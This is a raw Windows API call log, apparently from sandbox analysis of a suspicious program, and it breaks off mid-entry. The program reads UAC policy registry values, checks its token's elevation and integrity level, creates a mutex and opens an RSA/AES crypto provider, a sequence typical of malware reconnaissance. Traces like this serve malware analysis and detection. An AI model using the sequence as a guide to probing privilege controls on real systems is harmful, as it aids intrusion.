[0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ba00) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c358) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ba10) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c3a0) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b9c8) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c3e8) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b9d8) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c430) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ba58) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c478) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ba68) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c508) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ba20) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c550) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ba30) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c598) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ba40) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c5e0) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ba78) returned 1 [0241.541] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c4c0) returned 1 [0241.541] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c4c0 [0241.541] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x4ef3ec, lpData=0x0, lpcbData=0x4ef3f4*=0x0 | out: lpType=0x4ef3ec*=0x4, lpData=0x0, lpcbData=0x4ef3f4*=0x4) returned 0x0 [0241.541] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x4ef3ec, lpData=0xb3c4c0, lpcbData=0x4ef3f4*=0x4 | out: lpType=0x4ef3ec*=0x4, lpData=0xb3c4c0*=0x1, lpcbData=0x4ef3f4*=0x4) returned 0x0 [0241.542] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c4c0) returned 1 [0241.542] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c628) returned 1 [0241.542] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x10) returned 0xb3b8e8 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3b900 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c628 [0241.542] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3b910 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c4c0 [0241.542] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3b920 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c5e0 [0241.542] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3b9b8 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c598 [0241.542] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x20) returned 0xb3b9c8 [0241.542] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b8e8) returned 1 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3b8e8 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c550 [0241.542] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3b9f0 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c508 [0241.542] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3ba00 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c478 [0241.542] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3ba10 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c430 [0241.542] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.542] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x30) returned 0xb3ba20 [0241.543] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b9c8) returned 1 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3b9c8 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c3e8 [0241.543] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3b9d8 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c3a0 [0241.543] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3ba58 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c358 [0241.543] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3ba68 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.543] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c2c8 [0241.543] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ba20) returned 1 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3ba20 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c280 [0241.543] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3ba30 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c238 [0241.543] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d270 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1f0 [0241.543] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d280 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.543] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.543] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.543] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.544] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c628) returned 1 [0241.544] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b900) returned 1 [0241.544] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c4c0) returned 1 [0241.544] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b910) returned 1 [0241.544] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c5e0) returned 1 [0241.544] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b920) returned 1 [0241.544] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c598) returned 1 [0241.544] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b9b8) returned 1 [0241.544] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c550) returned 1 [0241.544] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b8e8) returned 1 [0241.544] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c508) returned 1 [0241.544] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3b9f0) returned 1 [0241.544] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c478) returned 1 [0241.544] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ba00) returned 1 [0241.544] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x4ef3ec, lpData=0x0, lpcbData=0x4ef3f4*=0x0 | out: lpType=0x4ef3ec*=0x4, lpData=0x0, lpcbData=0x4ef3f4*=0x4) returned 0x0 [0241.544] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x4ef3ec, lpData=0xb3c2c8, lpcbData=0x4ef3f4*=0x4 | out: lpType=0x4ef3ec*=0x4, lpData=0xb3c2c8*=0x5, lpcbData=0x4ef3f4*=0x4) returned 0x0 [0241.544] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.544] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x10) returned 0xb3d670 [0241.544] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d280 [0241.544] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.544] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.544] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d270 [0241.544] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c2c8 [0241.544] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.544] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d290 [0241.544] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.544] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.544] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d2a0 [0241.544] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1f0 [0241.544] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x20) returned 0xb3b8e8 [0241.545] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d2c0 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c280 [0241.545] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d2d0 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.545] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d2e0 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c358 [0241.545] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x30) returned 0xb3b9b8 [0241.545] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d300 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c3e8 [0241.545] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d310 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c430 [0241.545] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d320 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c478 [0241.545] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c508 [0241.545] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d340 [0241.545] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c598 [0241.545] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.546] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d350 [0241.546] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c5e0 [0241.546] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.546] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d360 [0241.546] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c4c0 [0241.546] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x4ef2e0, lpcchValueName=0x4ef2dc, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x4ef2dc, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0241.546] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c628 [0241.546] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x4ef3ec, lpData=0x0, lpcbData=0x4ef3f4*=0x0 | out: lpType=0x4ef3ec*=0x4, lpData=0x0, lpcbData=0x4ef3f4*=0x4) returned 0x0 [0241.546] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x4ef3ec, lpData=0xb3c508, lpcbData=0x4ef3f4*=0x4 | out: lpType=0x4ef3ec*=0x4, lpData=0xb3c508*=0x1, lpcbData=0x4ef3f4*=0x4) returned 0x0 [0241.546] RegCloseKey (hKey=0x24) returned 0x0 [0241.546] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x4ef464 | out: TokenHandle=0x4ef464*=0x24) returned 1 [0241.546] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x4ef460, TokenInformationLength=0x4, ReturnLength=0x4ef45c | out: TokenInformation=0x4ef460, ReturnLength=0x4ef45c) returned 1 [0241.546] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x4ef450 | out: TokenHandle=0x4ef450*=0xa0) returned 1 [0241.546] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x4ef44c | out: TokenInformation=0x0, ReturnLength=0x4ef44c) returned 0 [0241.546] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c628 [0241.546] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0xb3c628, TokenInformationLength=0x14, ReturnLength=0x4ef44c | out: TokenInformation=0xb3c628, ReturnLength=0x4ef44c) returned 1 [0241.546] GetSidSubAuthorityCount (pSid=0xb3c630*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xb3c631 [0241.546] GetSidSubAuthority (pSid=0xb3c630*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xb3c638 [0241.546] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c628) returned 1 [0241.546] NtClose (Handle=0xa0) returned 0x0 [0241.547] GetSystemInfo (in: lpSystemInfo=0x4ef598 | out: lpSystemInfo=0x4ef598*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0241.547] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x6c) returned 0xb3b8e8 [0241.547] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c628 [0241.547] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0241.547] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c508 [0241.547] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c4c0 [0241.547] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c5e0 [0241.547] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c598 [0241.547] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x5000) returned 0x9b0048 [0241.547] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c550 [0241.548] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c550) returned 1 [0241.548] CryptAcquireContextW (in: phProv=0x4ef5ac, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x4ef5ac*=0x8cdda8) returned 1 [0241.563] RtlFreeHeap 